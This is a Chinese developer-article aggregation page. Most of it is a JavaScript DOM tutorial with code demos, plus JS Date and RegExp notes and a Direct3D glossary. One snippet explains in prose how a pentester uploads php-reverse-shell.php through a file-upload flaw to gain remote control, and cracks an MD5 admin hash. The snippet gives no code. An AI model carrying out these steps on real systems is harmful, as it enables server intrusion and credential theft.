键盘快捷键会大大提高使用效率,让你在外行面前显得更酷。持续更新中…感谢点赞,评论与转发,谢谢! 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_44168588/article/details/121208530。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-01 13:38:26
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...提出。在三维图形渲染过程中,该方法首先计算顶点的颜色和亮度值,然后对图元表面覆盖的所有像素进行插值,使得整个表面颜色过渡平滑自然。在Direct3D中,通过使用顶点法向量与光源角度的计算结果来实现高洛德着色,从而为场景中的多边形提供连续且近似真实的光照效果。 四元数(Quaternion) , 四元数是一种扩展复数系统的代数结构,包含四个分量——一个实部和三个虚部。在三维计算机图形学中,特别是在处理旋转问题时,四元数作为一种有效的方法被广泛采用。相较于传统的旋转矩阵,四元数具有更少的数据量(4个浮点数而非9个),并且避免了万向节死锁问题。在Direct3D应用程序中,四元数可以用来描述三维空间中一根轴及绕该轴的旋转,并支持合成和插值操作,这在动画制作和变换计算等方面尤为有用。
2023-10-24 12:49:42
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...进行充分的过滤和转义处理,导致攻击者可以操纵数据库查询并获取敏感数据。 php-reverse-shell.php , php-reverse-shell.php是一个预编译的PHP脚本,用于建立一个从目标服务器回连到攻击者控制主机的反向Shell通道。在渗透测试场景中,当攻击者发现web应用存在文件上传漏洞时,会利用这个脚本将它上传到靶机,并修改其中的IP地址和端口号以指向攻击者的监听位置。一旦受害者触发或访问被上传的恶意PHP文件,攻击者就能获得一个命令行交互界面,从而实现对靶机的远程控制。 MD5解密 , MD5(Message-Digest Algorithm 5)是一种广泛使用的密码散列函数,它可以产生一个固定长度、唯一代表原始输入信息的128位散列值。在本文中,超级管理员的密码经过MD5加密存储在数据库中。为了破解密码,攻击者需要使用在线MD5解密工具或字典库尝试匹配原始明文。在实战中,攻击者成功解密出MD5哈希值对应的密码为\ Uncrackable\ ,这表明该系统在密码保护方面可能存在不足,即未采取更安全的加盐哈希或其他复杂加密方式。
2023-01-02 12:50:54
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... 是W3C组织推荐的处理可扩展标记语言的标准编程接口 W3C已经定义来一系列DOM接口,通过这些DOM接口可以改变网页的内容、结构样式。 2.DOM 树 文档:一个页面就是一个文档,DOM 中使用 document 表示 元素:页面中的所有标签都是元素,DOM 中使用 element 表示 节点:网页中的所有内容都是节点(标签、属性、文本、注释等),DOM 中使用 node 表示 文档树(Dom树):以html为根节点,形成的一颗倒立的树状结构,我们成为DOM树;这个树上所有的东西都叫节点,节点有很多类,比如文本节点,元素节点等等,这些节点如果我们通过DOM方法去获取或者其他的操作去使用就叫做DOM对象,所有节点都是DOM对象 二.获取元素的方法 1.获取页面中的元素可以使用以下几种方式 根据ID获取 根据标签名获取 通过HTML5新增的方法获取 特殊元素获取 1.根据ID获取 使用getElementByld()方法可以获取带有ID的元素对象 getElementByld(),是document下的一个方法 代码演示 <body><div id="time">2020-11-26</div><script>// 1.因为我们文档页面从上往下加载,所以先得有标签 所以我们的script写在标签下面// 2. document文档 get 获得 element 元素 by 通过 驼峰命名法// 3.参数 id是大小写敏感的字符串// 4.返回的是一个对象var timer = document.getElementById('time');console.log(timer);// 5.console.dir 打印我们返回得的元素对象 更好的查看里面的属性和方法console.dir(timer);</script></body> 2.根据标签名获取 使用getElementsByTagName()方法可以返回带有指定标签名的对象的集合 语法如下 document.getElementsByTagName('标签名') 注意: 1.因为得到的是一个对象的集合,使用我们想要操作里面的元素就需要遍历 得到元素对象是动态的 代码演示 <body><ul><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li><li>我们的征程是星辰大海</li></ul><ul id="nav"><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li><li>心存感恩,所遇皆美好~</li></ul><script>// 1.返回的是 获取过来元素对象的集合 以伪数组的形式存储的var lis = document.getElementsByTagName('li')console.log(lis);// 2.如果想要依次打印里面的元素对象我们可以采取遍历方式for (var i = 0; i < lis.length; i++) {console.log(lis[i]);}// 3.这里可以是可以获取标签的.getElementsByTagName()可以得到这个元素里面的某些标签var nav1 = document.getElementById('nav') //这个获取nav元素var navli = nav.getElementsByTagName('li') //这里是获取nav 里面的li标签 要先获取 nav元素在获取里面的liconsole.log(navli);</script></body> 3.通过 HTML5 新增的方法获取(注意兼容) 1. document.getElementsByClassName(‘类名’);// 根据类名返回元素对象集合 2. document.querySelector('选择器'); // 根据指定选择器返回第一个元素对象 3. document.querySelectorAll('选择器'); // 根据指定选择器返回所有元素对象集合 注意:querySelector 和 querySelectorAll里面的选择器需要加符号,比如:document.querySelector(’nav’); 代码演示 <body><div class="box">盒子1</div><div class="box">盒子2</div><div id="nav"><ul><li>首页</li><li>产品</li></ul></div><script>// 1. getElementsByClassName 根据类名获得某些元素集合var boxs = document.getElementsByClassName('box');console.log(boxs);// 2. querySelector 返回指定选择器的第一个元素对象 切记 里面的选择器需要加符号 .box navvar firstBox = document.querySelector('.box');console.log(firstBox);var nav = document.querySelector('nav');console.log(nav);var li = document.querySelector('li');console.log(li);// 3. querySelectorAll()返回指定选择器的所有元素对象集合var allBox = document.querySelectorAll('.box');console.log(allBox);var lis = document.querySelectorAll('li');console.log(lis);</script> 4.获取特殊元素(body,html) 获取body元素 - doucumnet.body // 返回body元素对象 获取html元素 . document.documentElement // 返回html元素对象 代码演示 <body><script>// 获取bdoy元素var bodyEle = document.bodyconsole.log(bodyEle); //返回body元素// 获取html元素var htmlEle = document.documentElementconsole.log(htmlEle); //返回html元素</script></body> 三.事件基础 1.事件概述 JavaScript 使我们有能力创建动态页面,而事件是可以被 JavaScript 侦测到的行为。 简单理解: 触发— 响应机制。 网页中的每个元素都可以产生某些可以触发 JavaScript 的事件,例如,我们可以在用户点击某按钮时产生一个 事件,然后去执行某些操作。 代码演示 <body><button id="btn">浩哥</button><script>// 点击一个按钮,弹出一个对话框// 1.事件是有三部分组成的 1.事件源 2.事件类型 3.事件处理程序 也称为事件三要素// (1).事件源 事件被触发的对象 var but = document.getElementById('btn')// (2).事件类型 如何触发 什么事件 比如鼠标点击(onclick) 还是鼠标经过还是????// (3).事件处理程序 通过一个函数赋值的方式 完成 因为函数就是实现某种功能的but.onclick = function() {alert('浩哥爱编程')}</script></body> 2.执行事件的步骤 1. 获取事件源DOM对象(意思是你要获取那个元素) 2. 注册事件(绑定事件 意思是通过什么方式来处理比如是鼠标经过还是鼠标点击等等行为) 3. 添加事件处理程序(采取函数赋值形式 意思是你想做啥) 代码演示 <body><div>123</div><script>// 事件执行步骤 点击div 控制台输出我被选中了// 1.获取事件源var div = document.querySelector('div')// 2.绑定事件 注册事件// div.onclick// 3.添加事件处理程序div.onclick = function() {console.log('我被点击了');}</script></body> 3.常见的鼠标事件 onmouseenter鼠标移入事件 onmouseleave鼠标移出事件 四.操作元素 JS的DOM操作可以改变网页内容、结构和样式,利用DOM操作元素来改变元素里面的内容、属性等。注意以下都是属性 1.操作元素内容(改变元素内容) elemeny.innerText 从起始位置到终止位置的内容,但它去除html标签,同时空格和换行也会去掉 elemernt.innerHTML 起始位置到终止位置的全部内容,包括html标签,同时保留空格和换行 elemernt.Content可以获取隐藏元素的文本,包含换行和空白 代码演示 <title>Document</title><style>div,p {height: 30px;width: 300px;line-height: 30px;text-align: center;color: fff;background-color: pink;}</style></head><body><button>显示当前系统时间</button><div>某个时间</div><p>123</p><script>// 当我们点击了按钮,div里面的文字会发生变化// 1.获取元素 注意这里的按钮 和div都要获取到 因为 点击按钮div里面要发生变化所以都要获取var but = document.querySelector('button');var div = document.querySelector('div');// 2.绑定事件// but.onclick// 3.程序处理but.onclick = function() {// 改变元素内容 element(元素).innerTextdiv.innerText = '2020-11-27'}// 4.我们元素可以不用添加事件,就可以直接显示日期var p = document.querySelector('p');p.innerText = '2020-11-27';</script> elemeny.innerText和elemeny.innerHTML的区别 代码演示 <body><div></div><p></p><ul><li> 文字</li><li>123</li></ul><script>// innertText 和 innertHTML 的区别// 1. innerText 不识别html标签 非标准 去除空格和换行var div = document.querySelector('div');div.innerText = '<strong>今天是:</strong> 2020';// 2.innertHTML 识别html标签 W3C标准 保留空格和换行的 推荐尽量使用这个 因为这个是标准var p = document.querySelector('p')p.innerHTML = '<strong>今天是:</strong> 2020';// 3.这俩个属性是可读写的 意思是 除了改变内容还可以元素读取里面的内容的var ul = document.querySelector('ul')console.log(ul.innerText);console.log(ul.innerHTML);// .4innerHtml innerText 之间的区别:设置内容的时候,如果内容当中包含标签字符串 innerHtml会有标签的特性,也就是说标签会在页面上生效如果内容当中包含标签字符串 innerText会把标签原样展示在页面上,不会让标签生效读取内容的时候,如果标签内部还有其它标签,innerHtml会把标签内部带着其它的标签全部输出如果标签内部还有其它标签,innerText只会输出所有标签里面的内容或者文本,不会输出标签如果标签内部没有其它标签,他们两个一致;都是读取文本内容,innerHtml会带空白和换行</script></body> 2. 操作常见元素属性 innerText、innerHTML 改变元素内容 src、href id、alt、title 代码演示 <body><button id="ldh">刘德华</button><button id="zxy">张学友</button><br><img src="./images/ldh.jpg" alt="" width="200px" height="200px" title="刘德华" id="img"><script>// 修改属性 src// 我们可以操作元素得方法 来修改元素得属性 就是 元素的是什么属性 在重新给值就可以完成相应的赋值操作了// 1.获取元素var ldh = document.getElementById('ldh')var zxy = document.getElementById('zxy')var img = document.getElementById('img')// 2.注册事件 程序处理zxy.onclick = function() {// 当我们点击了图片的时候图片路径就发生变化 这里的.表示 的 得意思 img对象下的src属性img.src = './images/zxy.jpg';// 当我们变换图片得同时里面得title也要跟着变 所以前面要加上img.img.title = '张学友';}ldh.onclick = function() {img.src = './images/ldh.jpg';img.title = '刘德华';}</script> 3.操作表单元素属性 利用DOM可以操作如下表单元素的属性 type、value、checked、selected、disabled 代码演示: <body><button>按钮</button><input type="text" value="输入内容"><script>// 我想把value里面的输入内容改变为 被点击了// 1.获取元素var but = document.querySelector('button')var input = document.querySelector('input')// 2.注册事件 处理程序but.onclick = function() {// input.innerHTML = '被点击了'; 这个是 普通盒子 比如 div 标签里面的内容// 表单里面的值 文字内容是通过value来修改的input.value = '被点击了'// 如果需要某个表单被禁用 不能再点击了使用 disabled 我们想要这个按钮 button禁用// but.disabled = true// 还有一种写法// this指向的是事件函数的调用者 谁调用就指向谁 这里调用者是btnthis.disabled = true}</script></body> 4.操作元素样式属性 我们可以通过 JS 修改元素的大小、颜色、位置等样式。 1.element.style 行内样式操作 注意: JS 里面的样式采取驼峰命名法 比如 fontSize、 backgroundColor JS 修改 style 样式操作,产生的是行内样式,所以行内式比内嵌式高 代码演示 <style>div {width: 200px;height: 200px;background-color: red;}</style></head><body><div></div><script>// 要求点击div变成粉色 height变为250px// 1.获取元素var div = document.querySelector('div');// 2.注册事件 处理程序div.onclick = function() {// div.style里面的属性 采取的是驼峰命名法// this等于div this调用者 谁调用谁执行this.style.backgroundColor = 'pink'this.style.height = '250px'}</script> 2.element.className 类名样式操作 注意: 如果样式修改较多,可以采取操作类名方式更改元素样式。 class因为是个保留字,因此使用className来操作元素类名属性 className 会直接更改元素的类名,会覆盖原先的类名。 代码演示 <style>div {width: 100px;height: 100px;background-color: pink;}.change {background-color: purple;color: fff;font-size: 25px;margin-top: 100px;}</style></head><body><div class="first">文本</div><script>// 1. 使用 element.style 获得修改元素样式 如果样式比较少 或者 功能简单的情况下使用var test = document.querySelector('div');test.onclick = function() {// this.style.backgroundColor = 'purple';// this.style.color = 'fff';// this.style.fontSize = '25px';// this.style.marginTop = '100px';// 让我们当前元素的类名改为了 change// 2. 我们可以通过 修改元素的className更改元素的样式 适合于样式较多或者功能复杂的情况 如果想继续添加样式即在change添加即可// 3. 如果想要保留原先的类名,我们可以这么做 多类名选择器// this.className = 'change';this.className = 'first change';}</script> 5.自定义属性的操作 js给我们规定了可以自己添加属性 在操作元素属性的时候,元素.语法只能操作元素天生具有的属性,如果是自定义的属性,通过.语法是无法操作的只能通过getAttribute和setAttribute去操作,他俩是通用的方法,无论元素天生的还是自定义的都可以可以操作 1.获取属性值 element.属性 获取属性值。 element.getAttribute(‘属性’); 区别: element.属性 获取内置属性值(元素本身自带的属性 如果是自定义属性不能被获取) element.getAttribute(‘属性’);主要获得自定义的属性 (标准) 我们自定义的属性 2.设置属性值 element.属性 = ‘值’ 设置内置属性值 element.setAttribute(‘属性’,‘值’) 区别: element.属性 设置内置属性值 element.setAttribute(‘属性’);主要设置自定义的属性(标准) 3.移除属性 element.removeAttribute(‘属性’); 代码演示 <body><div id="demo" index="1" class="nav"></div><script>var div = document.querySelector('div');// 1.获取元素的属性值// (1) element.属性console.log(div.id);// (2) element.getAttribute('属性') get获取得到 attribute属性的意思 我们自己添加的属性称之为自定义属性console.log(div.getAttribute('id')); //democonsole.log(div.getAttribute('index')); // 1// 2.设置元素的属性值// (1) element.属性 = '值' div.id = 'test'div.className = 'navs'// (2) element.setAttribute('属性','值')div.setAttribute('index', 2);div.setAttribute('class', 'footer') //这里就是class 不是className 比较特殊// 3.移除属性 removeAttribute(属性)div.removeAttribute('index');</script></body> 只要是自定义属性最好都是用element.setAttribute(‘属性’,‘值’)来设置 如果是自带属性用element.属性来设置 6.H5自定义属性 自定义属性的目的:第一、是为了保存属性 第二、并且使用数据。有一些数据可以保存到页面中而不用保存到数据库中。 自定义属性获取是通过getAttribute(‘属性’) 获取的 但是有些自定义属性很容易引起歧义,不容易判断是元素还是自定义属性 H5给我们新增了自定义属性: 1.设置H5自定义属性 H5规定自定义属性data-开头做为属性名并且赋值 比如<div data-index:“1”> 或者使用JS设置element.setAttribute(‘deta-index’,2) 2.获取H5自定义属性 兼容性获取 element.getAttribute(‘data-index’) 推荐开发中使用这个 H5新增element.dataset.index 或者element.datase[‘index’] ie 11以上才支持 代码演示 <body><div getTime="10" data-index="20" data-name-list="40"></div><script>// 获取元素var div = document.querySelector('div');console.log(div.geTime); //undefined getTime是自定义属性不能直接通过元素的属性来获取 而是用自定义属性来获取的getAttribute(‘属性’)console.log(div.getAttribute('getTime')); //10// H5添加自定义属性的写法以data-开头div.setAttribute('data-time', 30)// 1.兼容性获取H5自定义属性console.log(div.getAttribute('data-time')); // 30// 2.H5新增的获取自定义属性的方法 它只能获取data-开头的// dataset 是一个集合的意思存放了所有以data开头的自定义属性 如果你想取其中的某一个只需要在dataset.的后面加上自定义属性名即可console.log(div.dataset);console.log(div.dataset.time); // 30// 还有一种方法dataset['属性']console.log(div.dataset['time']); // 30// 如果自定义属性里面有多个-链接的单词 我们获取的时候采取驼峰命名法 不用要-了console.log(div.dataset.nameList); // 40console.log(div.dataset['nameList']); // 40</script></body> 五.节点操作 1.为什么要学习节点操作 获取元素通常使用俩种方式 (1)利用DOM提供的方法获取元素 但是逻辑性不强 繁琐 (2)利用节点层级关系获取元素 如 利用父子,兄弟关系获取元素 逻辑性强,但是兼容性不怎么好 2.节点概述 网页中的所有内容都是节点(标签、属性、文本、注释等等) ,在DOM中,节点使用node表示。HTML DOM 树中的所有节点均可通过javascript进行访问,所有HTML元素(节点) 均可被修改,也可以创建或删除 一般地,节点至少拥有nade Type(节点类型)、nodeName(节点名称)和nodeValue(节点值) 这三个基本属性 元素节点 nodeType 为 1 属性节点 node Name为 2 文本节点 nodeValue为 3 (文本节点包含文字、空格、换行等等) 实际开发中,节点操作主要操作的是元素节点 3.节点层级 利用DOM树可以把节点划分为不同得层级关系,常见得是父子兄层级关系 1.父级节点 1.node.parentNode parenNode属性可以返回某节点得父节点,注意是最近的父节点哟!!! 如果指定的节点没有父节点就返回null 代码演示 <body><div class="box"><div class="box1"></div></div><script>var box1 = document.querySelector('.box1')// 得到的是离元素最近的父节点(亲爸爸) 得不到就返回得是nullconsole.log(box1.parentNode); // parentNode 翻译过来就是父亲的节点</script></body> 2.子级节点操作 1.parentNode.children(非标准) parentNode.children 是一个只读属性,返回所有的子元素节点。它只返回子元素节点,其余节点不返回(重点记住这个就好,以后重点使用) 虽然children是一个非标准,但是得到了各个浏览器的支持,我们大胆使用即可!!! 代码演示 <body><ul><li>1</li><li>1</li><li>1</li><li>1</li></ul><script>// DOM 提供的方法(APL)获取 这样获取比较麻烦var ul = document.querySelector('ul')var lis = ul.querySelectorAll('li')// children子节点获取 ul里面所有的小li 放心使用没有限制兼容性 实际开发中经常使用的console.log(ul.children);</script> 如何返回子节点的第一个和最后一个? 2.parentNode.firstElementChild firstElementChild返回第一个子元素节点,找不到则返回unll 3.parentNode.lastElementChild lastElementChild返回最后一个子元素节点,找不到则返回null 注意:这俩个方法有兼容性问题,IE9以上才支持 谨慎使用 但是我们有解决方案 如果想要第一个子元素节点,可以使用 parentNode.chilren[0] 如果想要最后一个子元素节点,可以使用 parentNode.chilren[parentNode.chilren.length - 1] 代码演示 <body><ul><li>1</li><li>2</li><li>3</li><li>4</li><li>5</li></ul><script>var ul = document.querySelector('ul')// 1.firstElementChild 返回第一个子元素节点 ie9 以上才支持注意兼容console.log(ul.firstElementChild);// 2.lastElementChild返回最后一个子元素节点console.log(ul.lastElementChild);// 3.实际开发中用到的既没有兼容性问题又可以返回子节点的第一个和最后一个console.log(ul.children[0]);console.log(ul.children[ul.children.length - 1]); //ul.children.length - 1获取的永远是子节点最后一个</script></body> 3.兄弟节点 1.node.nextSibling nextSibling 返回当前元素的下一个兄弟节点,找不到则返回null。注意包含所有的节点 2.node.previousSibling previousSibling 返回当前元素上一个兄弟节点,找不到则返回null。注意包含所以有的节点 代码演示 <body><div>我是div</div><span>我是span</span><script>var div = document.querySelector('div')// 返回当前元素的下一个兄弟节点nextSibling,找不到返回null。注意包含元素节点或者文本节点等等console.log(div.nextSibling); //这里返回的是text 因为它的下一个兄弟节点是换行// 返回的是当前元素的上一个节点previousSibling,找不到返回null。注意包含元素节点或者文本节点等等console.log(div.previousSibling); //这里返回的是text 因为它的上一个兄弟节点是换行</script></body> 3.node.nexElementSibling nexElementSibling 返回当前元素下一个兄弟元素节点,找不到返回null 4.node.previousElementSibling previousElementSibling返回当前元素上一个兄弟节点,找不到返回null 注意:这俩个方法有兼容性问题,IE9以上才支持 代码演示 <body><div>我是div</div><span>我是span</span><script>var div = document.querySelector('div')// nextElementSiblingd得到下一个兄弟元素节点console.log(div.nextElementSibling); // span // previousElementSibling 得到的是上一个兄弟元素节点console.log(div.previousElementSibling); // null 因为它上面没有兄弟元素了返回空的</script></body> 怎么解决兼容性问题呢? 可以封装一个兼容性函数(简单了解即可 在实际开发中用的不多) function getNextElementSibling(element) {var el = element;while (el = el.nextSibling) {if (el.nodeType === 1) {return el;} }return null;} 4.创建节点 1.document.createElement('tagName') document.createElement( ) 方法创建由 tagName 指定的 HTML 元素。因为这些元素原先不存在的是根据我们的需求动态生成的,所有我们也称为动态创建元素节点 我们创建了节点要给添加到节点里面去 称为 添加节点 1.node.appendChild(child) node.appendChild( )方法将一个节点添加到指定父节点的子节点列表末尾 2.node.insertBefore(child,指定添加元素位置) node.insertBefore( ) 方法将一个节点添加到父节点的指定子节点前面 代码演示 <body><ul><li>1</li></ul><script>// 1.创建节点 createElementvar li = document.createElement('li')// 2.添加节点 创建了节点要添加到某一个元素身上去 叫添加节点 node.appendChild(child) done 父级 child 子级 如果前面有元素了则在后面追加元素类似数组中的push依次追加var ul = document.querySelector('ul')ul.appendChild(li)// 3.添加节点 node.insertBefore(child,指定元素) 在子节点前面添加子节点 child子级你要添加的元素var lili = document.createElement('li')ul.insertBefore(lili, ul.children[0]) //ul.children 这句话的意思是添加到ul父亲的子节点第一个// 总结 如果想在页面中添加元素分为俩步骤1.创建元素 2.添加元素</script></body> 5.删除节点 node.removeChild(child) node.removeChlid()方法从DOM 中删除一个子节点,返回删除的节点 简单点就是从父元素中删除某一个孩子node就是父亲child就是孩子 删除的节点.remove(没有参数) 注意:ie不支持 代码演示 <body><button>按钮</button><ul><li>熊大</li><li>熊二</li><li>熊三</li></ul><script>// 1.获取元素var ul = document.querySelector('ul')var but = document.querySelector('button');// 2.删除元素// but.onclick = function() {// ul.removeChild(ul.children[0])// }// 3.点击按钮键依次删除,最后没有删除内容了 就禁用按钮 disabled = true 禁用按钮语法but.onclick = function() {if (ul.children.length == 0) {this.disabled = true} else {ul.removeChild(ul.children[0])} }</script></body> 6.复制节点(克隆节点) node.cloneNode() node.dloneNode()方法返回调用该方法节点得一个副本,也称为克隆节点/拷贝节点 注意 1.如果括号参数为空或者为false,则是浅拷贝,只复制里面得标签,不复制内容 2.如果括号参数为true,则是深度拷贝,会复制节点本身以及里面所有的内容 代码演示 <body><ul><li>1</li><li>2</li><li>3</li></ul><script>// 1.获取元素var ul = document.querySelector('ul');// 2.复制元素 node.cloneNode() 如果参数括号为空或者false则只会复制元素不会复制内容,如果待有参数true则内容和元素都会被复制var lis = ul.children[0].cloneNode(true);// 3.获取元素ul.appendChild(lis)</script></body> 7.替换(改)节点 node.replaceChild(新节点,替换到什么位置) 代码演示 <body><ul class="list"><li>1</li><li>2</li></ul><script>// 替换(改)节点 父节点.replaceChild(新元素, 替换到什么位置)// (1)获取父元素var ulNode = document.querySelector('.list');// (2)创建新的元素var liRead = document.createElement('li')// (3)给新元素添加内容liRead.innerHTML = '5';// (4)替换元素ulNode.replaceChild(liRead, ulNode.children[1])</script></body> 8.三种动态创建元素区别 document.write() element.innerHTML document.createElement() 区别 document.write()是直接将内容写入页面的内容流,但是文档流执行完毕,它则会导致页面全部重绘 element.innerHTML是将内容写入某个DOM节点,不会导致页面全部重绘 element.innerHTML 创建多个元素效率更高(不要拼接字符串,采取数组形式拼接),结果有点复杂 createElement()创建多个元素效率低一点点,但是结果更加清晰 总结:不同浏览器下,innerHTML效率要比createElement()高 代码演示 <body><button>点击</button><p>abc</p><div class="inner"></div><div class="create"></div><script>// window.onload = function() {// document.write('<div>123</div>');// }// 三种创建元素方式区别 // 1. document.write() 创建元素 如果页面文档流加载完毕,再调用这句话会导致页面重绘// var btn = document.querySelector('button');// btn.onclick = function() {// document.write('<div>123</div>');// }// 2. innerHTML 创建元素var inner = document.querySelector('.inner');// for (var i = 0; i <= 100; i++) {// inner.innerHTML += '<a href="">百度</a>'// }var arr = [];for (var i = 0; i <= 100; i++) {arr.push('<a href="">百度</a>');}inner.innerHTML = arr.join('');// 3. document.createElement() 创建元素var create = document.querySelector('.create');for (var i = 0; i <= 100; i++) {var a = document.createElement('a');create.appendChild(a);}</script></body> 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_46978034/article/details/110190352。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-04 13:36:05
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...了 Date 类型来处理时间和日期。Date 类型内置一系列获取和设置日期时间信息的方法。 Date 类型 ECMAScript 中的 Date 类型是在早期 Java 中 java.util.Date 类基础上构建的。为此,Date 类型使用 UTC(Coordinated Universal Time,国际协调时间[又称世界统一时间])1970 年 1 月 1 日午夜(零时)开始经过的毫秒来保存日期。在使用这种数据存储格式的条件下,Date 类型保存的日期能够精确到 1970 年 1 月 1 日之前或之后的 285616 年。 创建一个日期对象,使用 new 运算符和 Date 构造方法(构造函数)即可。 var box = new Date(); // 创建一个日期对象 在调用 Date 构造方法而不传递参数的情况下,新建的对象自动获取当前的时间和日期。 alert(box); // 不同浏览器显示不同 ECMAScript 提供了两个方法,Date.parse()和 Date.UTC()。Date.parse()方法接收一个表示日期的字符串参数,然后尝试根据这个字符串返回相应的毫秒数。ECMA-262 没有定义 Date.parse()应该支持哪种日期格式,因此方法的行为因实现而异,因地区而异。默认通常接收的日期格式如下: ‘月/日/年’,如 6/13/2011; ‘英文月名 日, 年’,如 May 25, 2004; ‘英文星期几 英文月名 日 年 时:分:秒 时区’,如 Tue May 25 2004 00:00:00 GMT-070 alert(Date.parse('6/13/2011')); // 1307894400000 如果 Date.parse()没有传入或者不是标准的日期格式,那么就会返回 NaN。 alert(Date.parse()); // NaN 如果想输出指定的日期,那么把 Date.parse()传入 Date 构造方法里。 var box = new Date(Date.parse('6/13/2011')); // Mon Jun 13 2011 00:00:00 GMT+0800var box = new Date('6/13/2011'); // 直接传入,Date.parse()后台被调用 Date 对象及其在不同浏览器中的实现有许多奇怪的行为。其中有一种倾向是将超出的范围的值替换成当前的值,以便生成输出。例如,在解析“January 32, 2007”时,有的浏览器会将其解释为“February 1, 2007”。而 Opera 则倾向与插入当前月份的当前日期。 Date.UTC()方法同样也返回表示日期的毫秒数,但它与 Date.parse()在构建值时使用不同的信息。(年份,基于 0 的月份[0 表示 1 月,1 表示 2 月],月中的哪一天[1-31],小时数[0-23] ,分钟,秒以及毫秒)。只有前两个参数是必须的。如果没有提供月数,则天数为 1;如果省略其他参数,则统统为 0。 alert(Date.UTC(2011,11)); // 1322697600000 如果 Date.UTC()参数传递错误,那么就会出现负值或者 NaN 等非法信息。 alert(Date.UTC()); // 负值或者 NaN 如果要输出指定日期,那么直接把 Date.UTC()传入 Date 构造方法里即可。 var box = new Date(Date.UTC(2011,11, 5, 15, 13, 16)); 通用的方法 与其他类型一样,Date 类型也重写了 toLocaleString()、toString()和 valueOf()方法;但这些方法返回值与其他类型中的方法不同。 var box = new Date(Date.UTC(2011,11, 5, 15, 13, 16));alert('toString:' + box.toString());alert('toLocaleString:' + box.toLocaleString()); // 按本地格式输出 这两个方法在不同浏览器显示的效果又不一样,但不用担心,这两个方法只是在调试比较有用,在显示时间和日期上,没什么价值。valueOf()方法显示毫秒数。 日期格式化方法 Date 类型还有一些专门用于将日期格式化为字符串的方法。 var box = new Date();alert(box.toDateString()); // 以特定的格式显示星期几、月、日和年alert(box.toTimeString()); // 以特定的格式显示时、分、秒和时区alert(box.toLocaleDateString()); // 以特定地区格式显示星期几、月、日和年alert(box.toLocaleTimeString()); // 以特定地区格式显示时、分、秒和时区alert(box.toUTCString()); // 以特定的格式显示完整的 UTC 日期 组件方法 组件方法,是为我们单独获取你想要的各种时间/日期而提供的方法。需要注意的时候 ,这些方法中,有带 UTC 的,有不带 UTC 的。UTC 日期指的是在没有时区偏差的情况下的日期值。 alert(box.getTime()); // 获取日期的毫秒数,和 valueOf()返回一致alert(box.setTime(100)); // 以毫秒数设置日期,会改变整个日期alert(box.getFullYear()); // 获取四位年份alert(box.setFullYear(2012)); // 设置四位年份,返回的是毫秒数alert(box.getMonth()); // 获取月份,没指定月份,从 0 开始算起alert(box.setMonth(11)); // 设置月份alert(box.getDate()); // 获取日期alert(box.setDate(8)); // 设置日期,返回毫秒数alert(box.getDay()); // 返回星期几,0 表示星期日,6 表示星期六alert(box.setDay(2)); // 设置星期几alert(box.getHours()); // 返回时alert(box.setHours(12)); // 设置时alert(box.getMinutes()); // 返回分钟alert(box.setMinutes(22)); // 设置分钟alert(box.getSeconds()); // 返回秒数alert(box.setSeconds(44)); // 设置秒数alert(box.getMilliseconds()); // 返回毫秒数alert(box.setMilliseconds()); // 设置毫秒数alert(box.getTimezoneOffset()); // 返回本地时间和 UTC 时间相差的分钟数 以上方法除了 getTimezoneOffset(),其他都具有 UTC 功能,例如 setDate()及 getDate()获取星期几,那么就会有 setUTCDate()及getUTCDate(),表示世界协调时间。 2、正则表达式 假设用户需要在 HTML 表单中填写姓名、地址、出生日期等。那么在将表单提交到服务器进一步处理前,JavaScript 程序会检查表单以确认用户确实输入了信息并且这些信息是符合要求的。 什么是正则表达式 正则表达式(regular expression)是一个描述字符模式的对象。ECMAScript 的 RegExp 类表示正则表达式,而 String 和 RegExp 都定义了使用正则表达式进行强大的模式匹配和文本检索与替换的函数。 正则表达式主要用来验证客户端的输入数据。用户填写完表单单击按钮之后,表单就会被发送到服务器,在服务器端通常会用 PHP、ASP.NET 等服务器脚本对其进行进一步处理 。因为客户端验证,可以节约大量的服务器端的系统资源,并且提供更好的用户体验。 创建正则表达式 创建正则表达式和创建字符串类似,创建正则表达式提供了两种方法,一种是采用 new 运算符,另一个是采用字面量方式。 两种创建方式 var box = new RegExp('box'); // 第一个参数字符串var box = new RegExp('box', 'ig'); // 第二个参数可选模式修饰符 模式修饰符的可选参数 参数 含义 i 忽略大小写 g 全局匹配 m 多行匹配 var box = /box/; // 直接用两个反斜杠var box = /box/ig; // 在第二个斜杠后面加上模式修饰符 测试正则表达式 RegExp 对象包含两个方法:test()和 exec(),功能基本相似,用于测试字符串匹配。test()方法在字符串中查找是否存在指定的正则表达式并返回布尔值,如果存在则返回 true,不存在则返回 false。exec()方法也用于在字符串中查找指定正则表达式,如果 exec()方法执行成功,则返回包含该查找字符串的相关信息数组。如果执行失败,则返回 null。 RegExp 对象的方法 方法 功能 test 在字符串中测试模式匹配,返回 true 或 false exec 在字符串中执行匹配搜索,返回结果数组 // 使用 new 运算符的 test 方法示例var pattern = new RegExp('box', 'i'); // 创建正则模式,不区分大小写var str = 'This is a Box!'; // 创建要比对的字符串alert(pattern.test(str)); // 通过 test()方法验证是否匹配// 使用字面量方式的 test 方法示例var pattern = /box/i; // 创建正则模式,不区分大小写var str = 'This is a Box!';alert(pattern.test(str));// 使用一条语句实现正则匹配alert(/box/i.test('This is a Box!')); // 模式和字符串替换掉了两个变量// 使用 exec 返回匹配数组var pattern = /box/i;var str = 'This is a Box!';alert(pattern.exec(str)); // 匹配了返回数组,否则返回 null 使用字符串的正则表达式方法 除了 test()和 exec()方法,String 对象也提供了 4 个使用正则表达式的方法。 String 对象中的正则表达式方法 方法 含义 match(pattern) 返回 pattern 中的子串或 null 